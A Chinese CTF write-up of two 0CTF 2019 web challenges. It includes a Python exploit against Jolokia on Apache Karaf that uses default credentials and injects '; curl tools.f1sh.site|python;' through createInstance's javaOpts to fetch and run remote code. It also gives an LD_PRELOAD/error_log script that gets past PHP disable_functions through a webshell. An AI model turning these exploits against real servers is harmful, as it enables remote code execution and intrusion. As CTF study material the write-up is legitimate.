0ctf2019 web writeup
pupil CTF 8327浏览 · 2019-03-28 00:50

0ctf2019 web writeup

rr师傅的题太棒了

web1


谷歌可知道ghost pepper又名jolokia,看到这个就想到之前的jolokia敏感api漏洞
https://paper.seebug.org/850/
直接访问发现有个需要登录使用提示karaf,karaf登录,发现404

访问jolokia返回一堆json,证明猜测正确,接下来看看有没有可以直接利用的类/jolokia/list
,因为没有内置tomcat所以无法使用realm这个类进行rce,当然因为不是spring所以也没有reloadurl这个方法,那很明显要自己去挖一个构造链

这里列出了所有可用的mbean,看了一会感觉最有可能出问题的就这几个类

"area=jmx,name=root,type=security":{
                "op":{
                    "canInvoke":Array[4]
                },
                "class":"org.apache.karaf.management.internal.JMXSecurityMBeanImpl",
                "desc":"Information on the management interface of the MBean"
            },

这里有个canInvoke如何可以反射调用任意方法的话可能存在rce

"name=root,type=instance":{
                "op":{
                    "stopInstance":Object{...},
                    "changeRmiRegistryPort":Object{...},
                    "createInstance":Array[2],
                    "cloneInstance":Object{...},
                    "destroyInstance":Object{...},
                    "changeSshPort":Object{...},
                    "changeSshHost":Object{...},
                    "renameInstance":Array[2],
                    "startInstance":Array[3],
                    "changeJavaOpts":Object{...},
                    "changeRmiServerPort":Object{...}
                },
                "attr":{
                    "Instances":Object{...}
                },
                "class":"org.apache.karaf.instance.core.internal.InstancesMBeanImpl",
                "desc":"Information on the management interface of the MBean"
            }

这里有个instance如果可以通过在creatinstance的时候注入参数,在startinstance存在jndi或者命令注入的话可以rce

"connector":{
            "name=rmi":{
                "op":{
                    "stop":Object{...},
                    "start":Object{...},
                    "toJMXConnector":Object{...}
                },
                "attr":{
                    "Active":Object{...},
                    "Address":Object{...},
                    "Attributes":Object{...},
                    "ConnectionIds":Object{...},
                    "MBeanServerForwarder":{
                        "rw":false,
                        "type":"javax.management.remote.MBeanServerForwarder",
                        "desc":"Attribute exposed for management"
                    }
                },
                "class":"javax.management.remote.rmi.RMIConnectorServer",
                "desc":"Information on the management interface of the MBean"
            }
        }

这里有个rmi服务,如果可以传入一个jndi url的话可以进行jndi注入

"osgi.core":{
            "framework=org.eclipse.osgi,service=permissionadmin,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.2":Object{...},
            "framework=org.eclipse.osgi,type=packageState,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.5":Object{...},
            "framework=org.eclipse.osgi,type=bundleState,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.7":Object{...},
            "framework=org.eclipse.osgi,type=framework,uuid=99d56034-8945-4f47-8f9f-2c0ea0475eb3,version=1.7":{
                "op":{
                    "stopBundle":Object{...},
                    "resolve":Object{...},
                    "installBundleFromURL":Object{...},
                    "refreshBundlesAndWait":Object{...},
                    "refreshBundle":Object{...},
                    "resolveBundle":Object{...},
                    "startBundle":Object{...},
                    "refreshBundles":Object{...},
                    "refreshBundleAndWait":Object{...},
                    "updateBundle":Object{...},
                    "installBundle":Object{...},
                    "updateBundleFromURL":Object{...},
                    "restartFramework":Object{...},
                    "updateFramework":Object{...},
                    "shutdownFramework":Object{...},
                    "setBundleStartLevels":Object{...},
                    "getDependencyClosure":Object{...},
                    "getProperty":Object{...},
                    "installBundlesFromURL":Object{...},
                    "startBundles":Object{...},
                    "resolveBundles":Object{...},
                    "updateBundlesFromURL":Object{...},
                    "setBundleStartLevel":Object{...},
                    "updateBundles":Object{...},
                    "installBundles":Object{...},
                    "uninstallBundle":Object{...},
                    "uninstallBundles":Object{...},
                    "stopBundles":Object{...}
                },
                "attr":Object{...},
                "class":"org.apache.aries.jmx.framework.Framework",
                "desc":"Information on the management interface of the MBean"
            }

这里存在一些从url安装bundles的操作,可能存在ssrf或者rce的可能

当然这里感觉最有危险的应该是这个connector 这个mbean
这里如果address可控的话我们貌似可以直接构造一个jndi的注入,那我们来尝试一下

test3 = {
    "mbean": "connector:name=rmi",
    "type": "WRITE",
    "attribute": "Address",
    "value": "http://xxxxxx.xxxxx.xxx.xx.x"
}

#expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
expoloit = [test3]
for i in expoloit:
    rep = req.post(url, json=i,headers=headers)
    #print rep.content
    pprint(rep.json())

返回400

查了一下资料发现时jndi的url格式不正确,那我们稍作修改一下

test3 = {
    "mbean": "connector:name=rmi",
    "type": "WRITE",
    "attribute": "Address",
    "value": "service:jmx:rmi:///jndi/rmi://xxxx.xx.xxx.xx"
}

#expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
expoloit = [test3]
for i in expoloit:
    rep = req.post(url, json=i,headers=headers)
    #print rep.content
    pprint(rep.json())

返回404

结果address是read_only属性,这里就走弯路了,想了好久以为有方法可以绕过read_only,结果还是没找到。
这条路断了我们想一下别的mbean,然后我就来到了
org.apache.karaf:area=jmx,name=root,type=security
这里有一个caninvoke方法很可疑,跟进去源码分析了一下

public boolean canInvoke(String objectName) throws Exception {
        return this.canInvoke((BulkRequestContext)null, objectName);
    }

    public boolean canInvoke(String objectName, String methodName) throws Exception {
        return this.canInvoke((BulkRequestContext)null, objectName, (String)methodName);
    }

    public boolean canInvoke(String objectName, String methodName, String[] argumentTypes) throws Exception {
        return this.canInvoke((BulkRequestContext)null, objectName, methodName, argumentTypes);
    }

    private boolean canInvoke(BulkRequestContext context, String objectName) throws Exception {
        return this.guard == null ? true : this.guard.canInvoke(context, this.mbeanServer, new ObjectName(objectName));
    }

    private boolean canInvoke(BulkRequestContext context, String objectName, String methodName) throws Exception {
        return this.guard == null ? true : this.guard.canInvoke(context, this.mbeanServer, new ObjectName(objectName), methodName);
    }

    private boolean canInvoke(BulkRequestContext context, String objectName, String methodName, String[] argumentTypes) throws Exception {
        ObjectName on = new ObjectName(objectName);
        return this.guard == null ? true : this.guard.canInvoke(context, this.mbeanServer, on, methodName, argumentTypes);
    }

    public TabularData canInvoke(Map<String, List<String>> bulkQuery) throws Exception {
        TabularData table = new TabularDataSupport(CAN_INVOKE_TABULAR_TYPE);
        BulkRequestContext context = BulkRequestContext.newContext(this.guard.getConfigAdmin());
        Iterator var4 = bulkQuery.entrySet().iterator();

        while(true) {
            while(var4.hasNext()) {
                Entry<String, List<String>> entry = (Entry)var4.next();
                String objectName = (String)entry.getKey();
                List<String> methods = (List)entry.getValue();
                if (methods.size() == 0) {
                    boolean res = this.canInvoke(context, objectName);
                    CompositeData data = new CompositeDataSupport(CAN_INVOKE_RESULT_ROW_TYPE, CAN_INVOKE_RESULT_COLUMNS, new Object[]{objectName, "", res});
                    table.put(data);
                } else {
                    Iterator var8 = methods.iterator();

                    while(var8.hasNext()) {
                        String method = (String)var8.next();
                        List<String> argTypes = new ArrayList();
                        String name = this.parseMethodName(method, argTypes);
                        boolean res;
                        if (name.equals(method)) {
                            res = this.canInvoke(context, objectName, name);
                        } else {
                            res = this.canInvoke(context, objectName, name, (String[])argTypes.toArray(new String[0]));
                        }

                        CompositeDataSupport data = new CompositeDataSupport(CAN_INVOKE_RESULT_ROW_TYPE, CAN_INVOKE_RESULT_COLUMNS, new Object[]{objectName, method, res});

                        try {
                            table.put(data);
                        } catch (KeyAlreadyExistsException var15) {
                            LOG.warn("{} (objectName = \"{}\", method = \"{}\")", new Object[]{var15, objectName, method});
                        }
                    }
                }
            }

            return table;
        }
    }

发现这这是做了一层是否可以反射的判断,并没有真正去反射,这里也凉了,继续找
org.apache.karaf:name=root,type=instance
这里我猜想能不能像之前rr师傅利用realm那样,先用craeteinstance创造一个instance,再start的时候会有jndi操作
https://paper.seebug.org/851/
直接上源码

public int createInstance(String name, int sshPort, int rmiRegistryPort, int rmiServerPort, String location, String javaOpts, String features, String featuresURLs) throws MBeanException {
        return this.createInstance(name, sshPort, rmiRegistryPort, rmiServerPort, location, javaOpts, features, featuresURLs, "localhost");
    }

    public int createInstance(String name, int sshPort, int rmiRegistryPort, int rmiServerPort, String location, String javaOpts, String features, String featureURLs, String address) throws MBeanException {
        try {
            if ("".equals(location)) {
                location = null;
            }

            if ("".equals(javaOpts)) {
                javaOpts = null;
            }

            InstanceSettings settings = new InstanceSettings(sshPort, rmiRegistryPort, rmiServerPort, location, javaOpts, this.parseStringList(featureURLs), this.parseStringList(features), address);
            Instance inst = this.instanceService.createInstance(name, settings, false);
            return inst != null ? inst.getPid() : -1;
        } catch (Exception var12) {
            throw new MBeanException((Exception)null, var12.toString());
        }
    }

这里有两个create instance方法一个接受8个函数,一个接受9个函数
大致就是创建一个instance

public void startInstance(String name, String opts) throws MBeanException {
        try {
            this.getExistingInstance(name).start(opts);
        } catch (Exception var4) {
            throw new MBeanException((Exception)null, var4.toString());
        }
    }

    public void startInstance(String name, String opts, boolean wait, boolean debug) throws MBeanException {
        try {
            Instance child = this.getExistingInstance(name);
            String options = opts;
            if (opts == null) {
                options = child.getJavaOpts();
            }

            if (options == null) {
                options = "-server -Xmx512M -Dcom.sun.management.jmxremote";
            }

            if (debug) {
                options = options + " -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005";
            }

            if (wait) {
                String state = child.getState();
                if ("Stopped".equals(state)) {
                    child.start(opts);
                }

                if (!"Started".equals(state)) {
                    do {
                        Thread.sleep(500L);
                        state = child.getState();
                    } while("Starting".equals(state));
                }
            } else {
                child.start(opts);
            }

        } catch (Exception var8) {
            throw new MBeanException((Exception)null, var8.toString());
        }
    }

看到这里就明白了,可以通过createinstance传入opts,注册javaopts,然后在startinstance的时候会把javaopts拼接进入命令,那答案呼之欲出了

import requests as req
import sys
from pprint import pprint

url = sys.argv[1]
pprint(url)
headers = {'Authorization':'Basic a2FyYWY6a2FyYWY='}

test = {
    "mbean":"org.apache.karaf:name=root,type=instance",
    "type": "EXEC",
    "operation": "createInstance(java.lang.String,int,int,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String)",
    "arguments": ['pupiles3',7001,7002,7003,'http://pupiles.com','; curl tools.f1sh.site|python;','hahaha','http://f1sh.site','http://baidu.com']
}
#"value": "service:jmx:rmi:///jndi/rmi://139.199.27.197:5000"
test1 = {
    "mbean": "org.apache.karaf:name=root,type=instance",
    "type": "EXEC",
    "operation": "startInstance(java.lang.String)",
    "arguments": ["pupiles3"]
}

test2 = {
    "mbean": "org.apache.karaf:name=root,type=instance",
    "type": "READ",
    "attribute": "Instances"
}

expoloit = [test,test1,test2]
for i in expoloit:
    rep = req.post(url, json=i,headers=headers)
    #print rep.content
    pprint(rep.json())

后面看了一下别人的wp,发现bundle也是可以通过构造一个恶意jar包来进行rce的

web2

很明显 上来就给了一句话,但是要绕过disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

参考链接https://cloud.tencent.com/developer/article/1379245
一开始就非预期的很清晰,利用LD_PRELOAD设置为.so文件再找到一个启新进程的函数
,没禁用putenv,那找一个可以新起一个进程的就可以构造命令执行了,fuzz了一遍php.net的所有函数,终于找到了error_log,当第二个参数为1的时候会调用sendmail

import requests
import base64

url = "http://111.186.63.208:31340/"
data = {
    "backdoor": ""
}
data["backdoor"] = "file_put_contents('/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd', base64_decode('{}'));".format(base64.b64encode(open('bypass_disablefunc.php').read()))
requests.post(url, data = data)
data["backdoor"] = "file_put_contents('/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd.so', base64_decode('{}'));".format(base64.b64encode(open('bypass_disablefunc_x64.so').read()))
requests.post(url, data = data)
data["backdoor"] = "include('/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd');"
r = requests.post(url + '?cmd=/readflag&outpath=/tmp/cfc57795f9e7a6e79e4c93c078a66938/out&sopath=/tmp/cfc57795f9e7a6e79e4c93c078a66938/godw1nd.so', data = data)
print r.content
1 条评论
某人
表情
可输入 255